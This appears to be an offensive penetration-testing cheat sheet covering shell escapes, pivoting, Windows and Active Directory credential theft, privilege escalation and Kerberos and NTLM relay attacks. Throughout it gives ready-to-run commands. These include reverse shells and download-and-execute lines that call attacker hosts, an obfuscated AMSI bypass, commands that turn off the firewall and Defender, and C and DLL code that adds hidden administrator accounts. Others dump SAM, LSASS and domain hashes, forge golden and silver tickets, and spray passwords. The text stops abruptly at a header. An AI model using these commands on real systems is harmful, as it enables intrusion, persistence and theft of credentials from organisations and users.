# https://github.com/sshuttle/sshuttle
sshuttle -r root@172.21.0.0 10.2.2.0/24
# netsh port forwarding
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=9000 connectaddress=192.168.0.10 connectport=80
netsh interface portproxy delete v4tov4 listenaddress=127.0.0.1 listenport=9000
Escaping restricted shell
# First check your shell
echo $SHELL
# and commands
export
# vim
# List files
:!/bin/ls -l .b*
# Set new shell
:set shell=/bin/sh
:shell
# or
:!/bin/sh
# ed
!'/bin/sh'
# ne -> Load Prefs -> Navigate everywhere
# more/less/man/pinfo
!'sh'
# links -> File OS Shell
# lynx -> "o" for options -> configure default editor e.g. vim
lynx --editor=/usr/bin/vim www.google.com
# or
export EDITOR=/usr/bin/vim
# navigate to https://translate.google.com/ go to text box, ENTER and F4
# mutt
!
# find
find / -name "root" -exec /bin/sh \;
find / -name "root" -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
# nmap < 2009/05
--interactive
!sh
# awk
awk 'BEGIN {system("/bin/sh")}'
# expect
expect -c 'spawn sh' -i
# python
python -c 'import pty; pty.spawn("/bin/sh")'
# ruby irb
exec '/bin/sh'
# perl
perl -e 'system("sh -i");'
perl -e 'exec("sh -i");'
# php -a
exec("sh -i");
# Only Rbash
echo x | xargs -Iy sh -c 'exec sh 0<&1'
# Emacs
Mod-!
/bin/sh
# cp
cp /bin/sh /dev/shm/sh; /dev/shm/sh
# export
export SHELL=/bin/sh; export PATH=/bin:/usr/bin:$PATH
# FTP/Telnet
!/bin/sh
# GDB
!/bin/sh
# eval
eval echo echo {o..q}ython\;
# tee
echo '/bin/rm /home/user/.bashrc' | tee '/home/user/bin/win';win; echo 'export SHELL=/bin/sh' | tee '/home/user/.bashrc'
# declare
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
# nano
nano -s /bin/sh
# Ctrl+T
# SSH
ssh user@host -t "bash --noprofile -i"
ssh user@host -t "() { :; }; sh -i "
Loot
# Linux
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
ifconfig -a
arp -a
tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 10.11.1.111 and dst not 10.11.1.111
tcpdump -vv -i eth0 src not 10.11.1.111 and dst not 10.11.1.111
.bash_history
/var/mail
/var/spool/mail
echo $DESKTOP_SESSION
echo $XDG_CURRENT_DESKTOP
echo $GDMSESSION
Pivoting
https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019
# SSH local port forwarding
ssh user@ssh_server -L [bind_address:]local_port:destination_host:destination_hostport
ssh noraj@192.168.2.105 -L 127.0.0.1:32000:10.42.42.2:80 -N
# SSH reverse remote port forwarding
ssh user@ssh_server -R [bind_address:]remote_port:destination_host:destination_hostport
ssh noraj@192.168.2.105 -R 192.168.2.105:15000:127.0.0.1:9999
# SSH dynamic port forwarding
ssh user@ssh_server -D [bind_address:]local_port
ssh noraj@192.168.2.105 -D 127.0.0.1:12000 -N
# SSHUTTLE
# You can tunnel via ssh all the traffic to a subnetwork through a host.
# Example, forwarding all the traffic going to 10.0.0.1/24
pip install sshuttle
sshuttle -r user@host 10.0.0.1/24
# MSF
meterpreter > portfwd add -l 80 -r 172.16.0.0 -p 80
# Netcat
nc -l -p < port to listen on> 0<pivot | nc 1>pivot
# Ncat Http Proxy
ncat -vv --listen 3128 --proxy-type http
# Local Port2Port
#Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1
#Remote port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1
# Port2hostnet (proxychains)
# Local Port --> Compromised host(SSH) --> Wherever
ssh -f -N -D <attacker_port> <username>@<ip_compromised>
# Remote Port Forwarding
ssh -N -R 10.10.1.1:4455:127.0.0.1:445 attacker@10.10.1.1
# Socks5 with SSH
ssh -N -D 127.0.0.1:8888 admin@10.1.1.1
#SSH Dynamic Port Forwarding
ssh -N -D 127.0.0.1:1337 user@remotehost -p 8888
# SSH graphical connection (X)
ssh -Y -C <user>@<ip>
# <-Y is less secure but faster than -X>
# HTTP tunnel
# Port forwarding
chisel server -p 8080 --host 192.168.2.105 -v
chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:10.42.42.2:80
# Reverse remote port forwarding
chisel server -p 8888 --host 192.168.2.149 --reverse -v
chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:10.42.42.2:80
Windows
Local enum
# Tools
https://github.com/S3cur3Th1sSh1t/WinPwn
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bat
https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/privesc/PowerUp.ps1
https://github.com/S3cur3Th1sSh1t/PowerSharpPack
https://github.com/Flangvik/SharpCollection
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
https://github.com/dafthack/DomainPasswordSpray
https://github.com/CredDefense/CredDefense
https://github.com/dafthack/MailSniper
https://github.com/itm4n/PrivescCheck
https://lolbas-project.github.io/#
# Basic info
systeminfo
set
Get-ChildItem Env: | ft Key,Value
hostname
net users
net user user1
query user
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
net use
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
net localgroups
accesschk.exe -uwcqv "Authenticated Users" *
netsh firewall show state
netsh firewall show config
whoami /priv
echo %USERNAME%
$env:UserName
wmic qfe
qwinsta
query user
net localgroup
Get-LocalGroup | ft Name
# Set path
set PATH=%PATH%;C:\xampp\php
dir /a -> Show hidden & unhidden files
dir /Q -> Show permissions
# check .net version:
gci 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | gp -name Version -EA 0 | where { $_.PSChildName -match '^(?!S)\p{L}'} | select PSChildName, Version
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Users Path"
# Passwords
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
python secretsdump.py -just-dc-ntlm htb.hostname/username@10.10.1.10
secretsdump.py -just-dc htb.hostname/username@10.10.1.10 > dump.txt
# Add RDP user and disable firewall
net user test Test123! /add
net localgroup Administrators test /add
net localgroup "Remote Desktop Users" test /ADD
# Turn firewall off and enable RDP
sc stop WinDefend
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# Dump Firefox data
# Looking for Firefox
Get-Process
./procdump64.exe -ma $PID-FF
Select-String -Path .\*.dmp -Pattern 'password' > 1.txt
type 1.txt | findstr /s /i "admin"
# PS Bypass Policy
Set-ExecutionPolicy Unrestricted
powershell.exe -exec bypass
Set-ExecutionPolicy-ExecutionPolicyBypass -Scope Procesy
# Convert passwords to secure strings and output to an XML file:
$secpasswd = ConvertTo-SecureString "VMware1!" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("administrator", $secpasswd)
$mycreds | export-clixml -path c:\temp\password.xml
# PS sudo
$pw= convertto-securestring "EnterPasswordHere" -asplaintext -force
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "EnterDomainName\EnterUserName",$pw
$script = "C:\Users\EnterUserName\AppData\Local\Temp\test.bat"
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process $script -verb Runas}'
powershell -ExecutionPolicy -F -File xyz.ps1
# PS runas
# START PROCESS
$username='someUser'
$password='somePassword'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process .\nc.exe -ArgumentList '10.10.xx.xx 4445 -e cmd.exe' -Credential $credential
# INVOKE COMMAND
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force; $Credential = New-Object System.Management.Automation.PSCredential ("fidelity\hector", $pass);Invoke-Command -Computer 'Fidelity' -ScriptBlock {C:\inetpub\wwwroot\uploads\nc.exe -e cmd 10.10.15.121 443} -credential $Credential
# Tasks
schtasks /query /fo LIST /v
file c:\WINDOWS\SchedLgU.Txt
python3 atexec.py Domain/Administrator:<Password>@123@172.21.0.0 systeminfo
# Useradd bin
#include /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net user /add && net localgroup administrators /add");
return 0;
}
# Compile
i686-w64-mingw32-gcc -o useradd.exe useradd.c
# WinXP
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.1.111 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
# WinRM Port Forwarding
plink -l LOCALUSER -pw LOCALPASSWORD LOCALIP -R 5985:127.0.0.1:5985 -P 221
# DLL Injection
#include
int owned()
{
WinExec("cmd.exe /c net user username Password01 ; net localgroup administrators username /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
# x64 compilation:
x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
# Generate Silver Tickets with Impacket:
python3 ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
python3 ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# Generate Golden Tickets:
python3 ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
python3 ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# Credential Access with Secretsdump
impacket-secretsdump username@target-ip -dc-ip target-ip
# Disable Assembly code generator
https://amsi.fail/
Interesting files
C:\windows\repair\sam
C:\windows\System32\config\RegBack\SAM
C:\windows\repair\system
C:\windows\repair\software
C:\windows\repair\security
C:\windows\debug\NetSetup.log
C:\windows\iis5.log
C:\windows\iis6.log
C:\windows\iis7.log
C:\windows\system32\logfiles\httperr\httperr1.log
C:\sysprep.inf
C:\sysprep\sysprep.inf
C:\sysprep\sysprep.xml
C:\windows\Panther\Unattended.xml
C:\inetpub\wwwroot\Web.config
C:\windows\system32\config\AppEvent.Evt
C:\windows\system32\config\SecEvent.Evt
C:\windows\system32\config\default.sav
C:\windows\system32\config\security.sav
C:\windows\system32\config\software.sav
C:\windows\system32\config\system.sav
C:\windows\system32\inetsrv\config\applicationHost.config
C:\windows\system32\inetsrv\config\schema\ASPNET_schema.xml
C:\windows\System32\drivers\etc\hosts
C:\windows\System32\drivers\etc\networks
C:\windows\system32\config\SAM
Mimikatz
# SAM
privilege::debug
token::elevate
lsadump::sam
# Windows Credential Manager
privilege::debug
sekurlsa::credman
# LSASS
privilege::debug
sekurlsa::minidump C:\Users\raj\Desktop\lsass.DMP
sekurlsa::logonpasswords
#or
privilege::debug
lsadump::lsa /patch
# WDigest
privilege::debug
sekurlsa::wdigest
Privilege Escalation
# Check groups and privs
whoami /priv
# Interesting accounts
- Administrators, Local System
- Built-in groups (Backup, Server, Printer Operators)
- Local/network service accounts
- Managed Service and Virtual Accounts
- Third party application users
- Misconfigured users
# Interesting privileges
- SeDebugPrivilege
Create a new process and set the parent process a privileged process
https://github.com/decoder-it/psgetsystem
- SeRestorePrivilege
Can write files anywhere, overwrites files, protected system files
Modify a service running as Local and startable by all users and get a SYSTEM shell
- SeBackupPrivilege
Can backup Windows registry and use third party tools for extracting local NTLM hashes
Members of “Backup Operators” can logon locally on a Domain Controller and backup the NTDS.DIT
- SeTakeOwnershipPrivilege
Can take ownership of any securable object in the system
- SeTcbPrivilege
Can logon as a different user without any credentials in order to get a security Impersonation Token by using the LsaLogonUser() function
- SeCreateTokenPrivilege
Can create a custom token with all privileges and group membership you need (until Win 10 >= 1809)
But if you set the AuthenticationId to ANONYMOUS_LOGON_UID (0x3e6) you can always impersonate even in Win >=1809 and use a subset of API calls: CreateFile(), RegSetKey()
- SeLoadDriver Privilege
"Printer operators" have this privilege in the DC
Determines which users can dynamically load and unload device drivers or other code in to kernel mode
- SeImpersonatePrivilege & SeAssignPrimaryTokenPrivilege
Permit impersonate any access token
** If you have SeBackup & SeRestore privileges (Backup Operators group) you can set permission and ownership on each file & folder **
Loot
hostname && whoami.exe && ipconfig /all
wce32.exe -w
wce64.exe -w
fgdump.exe
# Loot passwords without tools
reg.exe save hklm\sam c:\sam_backup
reg.exe save hklm\security c:\security_backup
reg.exe save hklm\system c:\system
ipconfig /all
route print
# What other machines have been connected
arp -a
# Meterpreter
run packetrecorder -li
run packetrecorder -i 1
#Meterpreter
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql
hashdump
keysscan_start
keyscan_dump
keyscan_stop
webcam_snap
load mimikatz
msv
# How to cat files in meterpreter
cat c:\\Inetpub\\iissamples\\sdk\\asp\\components\\adrot.txt
# Recursive search
dir /s
secretsdump.py -just-dc htb.hostname/username@10.10.1.10 > dump.txt
.\mimikatz.exe "lsadump::dcsync /user:Administrator" "exit"
# Mimikatz
# Post exploitation commands must be executed from SYSTEM level privileges.
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
mimikatz # sekurlsa::logonpasswords
## Pass The Hash
mimikatz # sekurlsa::pth /user:username /domain:domain.tld /ntlm:ntlm_hash
# Inject generated TGS key
mimikatz # kerberos::ptt <ticket_kirbi_file>
# Generating a silver ticket
# AES 256 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# AES 128 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Generating a Golden Ticket
# AES 256 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# AES 128 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
# NTLM:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
# Lsassy (remote lsass/mimikatz dump reader) (requires impacket)
git clone https://github.com/hackndo/lsassy
cd lsassy && sudo python3 setup.py install
lsassy example.com/Administrator:s3cr3tpassw0rd@victim-pc
# Lsass dump
https://github.com/outflanknl/Dumpert
AD
Info
Basic Active Directory terms
Users
Agent represented by a user account.
- Regular user accounts (used by employees or for specific task as backups)
- Computer accounts (ends with $). Computers in AD are a users subclass.
Services
- Identified by SPN which indicates the service name and class, the owner and the host computer.
- Is executed in a computer (the host of the service) as a process.
- Services (as any process) are running in the context of a user account, with the privileges and permissions of that user.
- The SPN’s of the services owned by an user are stored in the attribute ServicePrincipalName of that account.
- Usually Domain Admin or similar role is required to modify the SPN’s of a user.
General
# Anonymous Credential LDAP Dumping:
ldapsearch -LLL -x -H ldap:// -b ‘’ -s base ‘(objectclass=*)’
# Impacket GetADUsers.py (Must have valid credentials)
GetADUsers.py -all -dc-ip
# Impacket lookupsid.py
/usr/share/doc/python3-impacket/examples/lookupsid.py username:password@172.21.0.0
# Windapsearch:
# https://github.com/ropnop/windapsearch
python3 windapsearch.py -d host.domain -u domain\\ldapbind -p PASSWORD -U
# Go version https://github.com/ropnop/go-windapsearch
# CME
cme smb IP -u '' -p '' --users --shares
# BloodHound
# https://github.com/BloodHoundAD/BloodHound/releases
# https://github.com/BloodHoundAD/SharpHound3
# https://github.com/chryzsh/DarthSidious/blob/master/enumeration/bloodhound.md
Import-Module .\sharphound.ps1
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -domain target-domain -LDAPUser username -LDAPPass password
# Bloodhound.py (no shell needed) remote, ldap auth
https://github.com/fox-it/BloodHound.py
bloodhound-python -u <user> -p '<password>' -ns <dc.ip> -d <domain.name> -c all
# BloodHound Cheatsheet
# https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
# Bloodhound raw queries
# https://github.com/xenoscr/Useful-BloodHound-Queries
# Bloodhound complements
# https://github.com/RastreatorTeam/rastreator
# https://github.com/kaluche/bloodhound-quickwin
# https://github.com/knavesec/Max
# https://github.com/improsec/ImproHound
# https://github.com/fox-it/aclpwn.py
# Get BH data from LDAP
https://github.com/c3c/ADExplorerSnapshot.py
# Rubeus
# https://github.com/GhostPack/Rubeus
## ASREProasting:
Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
## Kerberoasting:
Rubeus.exe kerberoast /outfile:<output_TGSs_file>
Rubeus.exe kerberoast /outfile:hashes.txt [/spn:"SID-VALUE"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
## Pass the key (PTK):
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
# Using the ticket on a Windows target:
Rubeus.exe ptt /ticket:<ticket_kirbi_file>
# Password Spraying tool
https://github.com/dafthack/DomainPasswordSpray
# Kerberoast
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
# Powerview
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Find-InterestingDomainShareFile
–CheckAccess
# AD Cheatsheets
https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet
# References:
https://wadcoms.github.io/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#most-common-paths-to-ad-compromise
https://github.com/infosecn1nja/AD-Attack-Defense
https://adsecurity.org/?page_id=1821
https://github.com/sense-of-security/ADRecon
https://adsecurity.org/?p=15
https://adsecurity.org/?cat=7
https://adsecurity.org/?page_id=4031
https://www.fuzzysecurity.com/tutorials/16.html
https://blog.stealthbits.com/complete-domain-compromise-with-golden-tickets/
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
https://adsecurity.org/?p=1588
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://www.harmj0y.net/blog/tag/powerview/
https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
https://github.com/dievus/Oh365UserFinder
https://o365blog.com/aadinternals/
Common vulns
# Users having rights to add computers to domain
add-computer –domainname org.local -Credential ORG\john -restart –force
# AdminCount attribute set on common users
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
Import-Module ActiveDirectory
Get-AdObject -ldapfilter "(admincount=1)" -properties admincount
# High number of users in privileged groups
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
runas /netonly /user:<DOMAIN>\<USER> cmd.exe
- Linux:
net rpc group members 'Schema Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Domain Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Enterprise Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Domain Admins' -I 10.10.30.52 -U "john"%"pass123"
# Service accounts being members of Domain Admins
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
# Excessive privileges allowing for shadow Domain Admins
Bloodhound/Sharphound
# Service accounts vulnerable to Kerberoasting
GetUserSPNs.py -request example.com/john:pass123
hashcat -m 13100 -a 0 -O --self-test-disable hashes.txt wordlist.txt
# Users with non-expiring passwords
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
grep DONT_EXPIRE_PASSWD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'
- PS
Import-Module ActiveDirectory
Get-ADUser -filter * -properties Name, PasswordNeverExpires | where { $_.passwordNeverExpires -eq "true" } | where {$_.enabled -eq "true" }
# Users with password not required
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
grep PASSWD_NOTREQD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'
- PS
Import-Module ActiveDirectory
Get-ADUser -Filter {UserAccountControl -band 0x0020}
# Storing passwords using reversible encryption
mimikatz # lsadump::dcsync /domain:example.com /user:poorjohn
# Storing passwords using LM hashes
- In NTDS.dit
grep -iv ':aad3b435b51404eeaad3b435b51404ee:' dumped_hashes.txt
# Service accounts vulnerable to AS-REP roasting
GetNPUsers.py example.com/ -usersfile userlist.txt -format hashcat -no-pass
GetNPUsers.py example.com/john:pass123 -request -format hashcat
hashcat -m 18200 -a 0 -O --self-test-disable hashes.txt wordlist.txt
- PS
Import-Module ActiveDirectory
Get-ADuser -filter * -properties DoesNotRequirePreAuth | where {$._DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name
# Weak domain password policy
net accounts /domain
polenum --username john --password pass123 --domain 10.10.51.11
enum4linux -P -u john -p pass123 -w dom.local 172.21.1.60
# Inactive domain accounts
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
sort -t ';' -k 8 domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3, $8}'
# Privileged users with password reset overdue
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json > privileged_users.txt
while read user; do grep ";${user};" domain_users.grep; done < privileged_users.txt | \
grep -v ACCOUNT_DISABLED | sort -t ';' -k 10 | awk -F ';' '{print $3, $10}'
# Users with a weak password
$a = [adsisearcher]”(&(objectCategory=person)(objectClass=user))”
$a.PropertiesToLoad.add(“samaccountname”) | out-null
$a.PageSize = 1
$a.FindAll() | % { echo $_.properties.samaccountname } > users.txt
Import-Module ./adlogin.ps1
adlogin users.txt domain.com password123
# Credentials in SYSVOL and Group Policy Preferences (GPP)
findstr /s /n /i /p password \\example.com\sysvol\example.com\*
mount.cifs -o domain=example.com,username=john,password="pass@123" //10.10.139.115/SYSVOL /mnt
grep -ir 'password' /mnt
Quick tips
# Amsi bypass
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# Powershell Execution policy Bypass
powershell -ep bypass
# To input the output of the first command into second command use this powershell technique
# %{} is an alias for ForEach-Object{}
# ?{} is an alias for Where-Object{}
# $_ is variable
<First command> | %{<Second command> -<argument> $_}
# To filter out an object type we can use this technique with pipe.
?{$_.<object> -eq '<value>’'}
# Find local admin access
Find-LocalAdminAccess
# Get Domain sid
Get-DomainSID
Arguments -Domain “domain name”
# Get DC
Get-NetDomainController
Arguments -Domain “domain name”
# Get users in current domain
Get-NetUser
Arguments -UserName “username”
# Get user properties
Get-UserProperty
Arguments -Properties pwdlastset
# Search for a particular string in a user's attributes
Find-UserField -SearchField Description -SearchTerm ”built”
# Get all computers
Get-NetComputer -FullData
Many arguments -OperatingSystem -Ping -FullData
# Get groups
Get-NetGroup
Arguments -FullData -Domain
# Get members of a particular group
Get-NetGroupMember -GroupName "Domain Admins"
# Group Policies
Get-NetGPO Get-NetGPO -ComputerName Get-NetGPOGroup
# Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName
# Get OUs
Get-NetOU -FullData Get-NetGPO -GPOname
# Mapping forest
Get-NetForest -Verbose
Get-NetForestDomain -Verbose
# Mapping trust
Get-NetDomainTrust
Arguments -Domain
Get-NetForestDomain -Verbose | Get-NetDomainTrust
# Finding Constrained Delegation
Get-DomainUser -TrustedToAuth (Poweview Dev.)
# Finding UnConstrained Delegation
Get-NetComputer -UnConstrained
# Get ACLs
Get-ObjectAcl -SamAccountName -ResolveGUIDs Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
# Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
# Reverse Shell
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.113/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port 443
powershell.exe iex (iwr http://172.16.100.113/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.113 -Port 443
#Mimikatz
# Make ntlm ps-session
Invoke-Mimikatz -Command '"sekurlsa::pth /user: /domain: /ntlm: /run:powershell.exe"'
# Dump creds
Invoke-Mimikatz
Invoke-Mimikatz -Command ‘“lsadump::lsa /patch”’
Invoke-Mimikatz -Command '"lsadump::dcsync /user:\krbtgt"'
(dcsync requires 3 permission )
# Tickets
Inject ticket:-
Invoke-Mimikatz -Command '"kerberos::ptt <location of .kirbi tkt>"'
Export Tickets:-
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
# Golden tkt
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:<krbtgt hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
# Silver tkt
Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<target> /service:<ServiceType> /rc4:<rc4 NTLM Hash of user> /user:<UserToImpersonate> /ptt"'
# TGT tkt
kekeo.exe tgt::ask /user:<user name> /domain:<domain name> /rc4:<rc4 NTLM Hash of user>
# TGS tkt
Kekeo.exe
tgs::s4u /tgt:tgt_ticket.kirbi /user:<user>@<domain> /service:<service name>/<server name>
Relay attacks flow
https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022
Scan
# First just listen
sudo responder -I eth0 -A
# Check SMB signing disabled
crackmapexec smb 10.10.10.0/24 --gen-relay-list smb_sign_disabled.txt
Basic attack A
# Modify responder.cfg to disable HTTP and SMB servers
# Start ntmlrelay.py against smb_sign_disabled.txt hosts list
ntlmrelayx.py -tf smb_sign_disabled.txt
# Then start responder in attack mode
responder -rdP -I eth0
# Cracking NTLMv2
hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt --force
Basic attack B (socks proxy)
# Modify responder.cfg to disable HTTP and SMB servers
# Start ntmlrelay.py against smb_sign_disabled.txt hosts list
ntlmrelayx.py -tf smb_sign_disabled.txt -smb2support -socks
# Edit proxychains4.conf to:
socks4 127.0.0.1 1080
# Run secretsdump
proxychains secretsdump.py dcname\user:password@10.10.10.X
# Even smbclient
proxychains smbclient.py dcname\user:password@10.10.10.X
LDAP Enum
ntlmrelayx.py -t ldap://10.10.10.10 -smb2support
IPv6 DNS Takeover via Mitm6
git clone https://github.com/fox-it/mitm6.git
pip install mitm6
mitm6 -d domain.name
# During before step, in other terminal run
ntlmrelayx.py -6 -t ldaps://192.168.176.129 -wh fakewpadhost.domain.name -l dir
LDAP complete guide
https://malicious.link/post/2022/ldapsearch-reference/
AD Mindmap
https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg
https://t.co/hE0VKO5b2I?amp=1
https://www.xmind.net/m/5dypm8/
DACL mindmap
Kerberos
Info
How it works
Step 1
Step 2
Step 3
Step 4
Step 5
Bruteforcing
Requirements: connection with DC/KDC.
Linux (external)
With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>
Windows (internal)
With Rubeus version with brute module:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
ASREPRoast
Cracking users password, with KRB_AS_REQ when user has DONT_REQ_PREAUTH attribute, KDC respond with KRB_AS_REP user hash and then go for cracking.
# LDAP filter for non preauth krb users
LDAP: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
Linux (external)
